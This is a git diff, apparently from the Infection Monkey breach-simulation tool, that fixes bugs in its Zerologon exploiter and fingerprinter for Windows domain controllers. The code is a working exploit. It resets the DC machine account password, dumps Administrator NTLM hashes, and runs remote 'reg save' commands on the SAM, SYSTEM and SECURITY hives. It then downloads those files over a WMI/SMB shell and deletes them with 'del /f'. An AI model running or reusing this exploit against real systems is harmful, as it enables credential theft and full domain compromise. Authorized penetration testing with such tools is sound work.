diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 15ccefcac..dfab6b957 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -45,6 +45,7 @@ _new_stdout = None def _set_stdout_to_in_memory_text_stream(): + global _orig_stdout, _new_stdout # set stdout to in-memory text stream, to capture info that would otherwise be printed _orig_stdout = sys.stdout _new_stdout = io.StringIO() @@ -53,6 +54,7 @@ def _set_stdout_to_in_memory_text_stream(): def _unset_stdout_and_return_captured(): # set stdout to original and return captured output + global _orig_stdout, _new_stdout sys.stdout = _orig_stdout _new_stdout.seek(0) return _new_stdout.read() @@ -72,8 +74,8 @@ class ZerologonExploiter(HostExploiter): 'exec_method': 'smbexec', 'hashes': None, 'history': False, - 'is_remote' True, - 'just_dc': True, + 'is_remote': True, + 'just_dc': True, # becomes False in a copy in get_original_pwd_nthash() 'just_dc_ntlm': False, 'just_dc_user': None, 'k': False, @@ -100,7 +102,7 @@ class ZerologonExploiter(HostExploiter): self.zerologon_finger = ZerologonFinger() def _exploit_host(self): - DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details() + DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") @@ -211,9 +213,9 @@ class ZerologonExploiter(HostExploiter): options['target_ip'] = DC_IP options['dc_ip'] = DC_IP - dumped_secrets = self.get_dumped_secrets(options=options + dumped_secrets = self.get_dumped_secrets(options=options, remote_name=DC_IP, - username=DC_NAME) + username=f"{DC_NAME}$") for secret in dumped_secrets: if 'Administrator' in secret: hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" @@ -227,6 +229,7 @@ class ZerologonExploiter(HostExploiter): for name in ['system', 'sam', 'security']: options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') options['dc_ip'] = DC_IP + options['just_dc'] = False dumped_secrets = self.get_dumped_secrets(options=options, remote_name='LOCAL') @@ -253,17 +256,17 @@ class ZerologonExploiter(HostExploiter): _set_stdout_to_in_memory_text_stream() # Save HKLM keys on victim. - shell.onecmd('reg save HKLM\SYSTEM system.save && ' + - 'reg save HKLM\SAM sam.save && ' + - 'reg save HKLM\SECURITY security.save') + remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + + 'reg save HKLM\\SAM sam.save && ' + + 'reg save HKLM\\SECURITY security.save') # Get HKLM keys locally (can't run these together because it needs to call do_get()). - shell.onecmd('get system.save') - shell.onecmd('get sam.save') - shell.onecmd('get security.save') + remote_shell.onecmd('get system.save') + remote_shell.onecmd('get sam.save') + remote_shell.onecmd('get security.save') # Delete saved keys on victim. - shell.onecmd('del /f system.save sam.save security.save') + remote_shell.onecmd('del /f system.save sam.save security.save') info = _unset_stdout_and_return_captured() LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") @@ -294,7 +297,7 @@ class ZerologonExploiter(HostExploiter): # It worked! assert server_auth['ErrorCode'] == 0 - server_auth.dump() + # server_auth.dump() session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) @@ -312,10 +315,10 @@ class ZerologonExploiter(HostExploiter): request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = DC_NAME + '\x00' request["Authenticator"] = authenticator - pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey) + pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data resp = rpc_con.request(request) - resp.dump() + # resp.dump() except Exception as e: LOG.info(f"Unexpected error: {e}") @@ -554,32 +557,30 @@ class DumpSecrets: class Wmiexec: OUTPUT_FILENAME = '__' + str(time.time()) - def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False): + def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'): self.__ip = ip self.__username = username self.__password = password self.__domain = domain self.__lmhash, self.__nthash = hashes.split(':') self.__share = share - self.__noOutput = noOutput self.shell = None def run(self): - if self.__noOutput is False: - smbConnection = SMBConnection(self.__ip, self.__ip) - smbConnection.login(user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash) + smbConnection = SMBConnection(self.__ip, self.__ip) + smbConnection.login(user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash) - dcom = DCOMConnection(target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True) + dcom = DCOMConnection(target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) @@ -589,7 +590,7 @@ class Wmiexec: win32Process, _ = iWbemServices.GetObject('Win32_Process') - self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME) + self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME) return self.shell except (Exception, KeyboardInterrupt) as e: @@ -612,7 +613,7 @@ class RemoteShell(cmd.Cmd): self.__win32Process = win32Process self.__transferClient = smbConnection self.__pwd = str('C:\\') - self.__noOutput = True + self.__noOutput = False # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index d281ad373..987cfec25 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -22,7 +22,7 @@ class ZerologonFinger(HostFinger): Checks if the Windows Server is vulnerable to Zerologon. """ - DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() + DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host) if DC_NAME: # if it is a Windows DC # Keep authenticating until successful. @@ -55,8 +55,8 @@ class ZerologonFinger(HostFinger): LOG.info('Error encountered; most likely not a Windows Domain Controller.') return False - def get_dc_details(self): - DC_IP = self.host.ip_addr + def get_dc_details(self, host): + DC_IP = host.ip_addr DC_NAME = self.get_dc_name(DC_IP) DC_HANDLE = '\\\\' + DC_NAME return DC_IP, DC_NAME, DC_HANDLE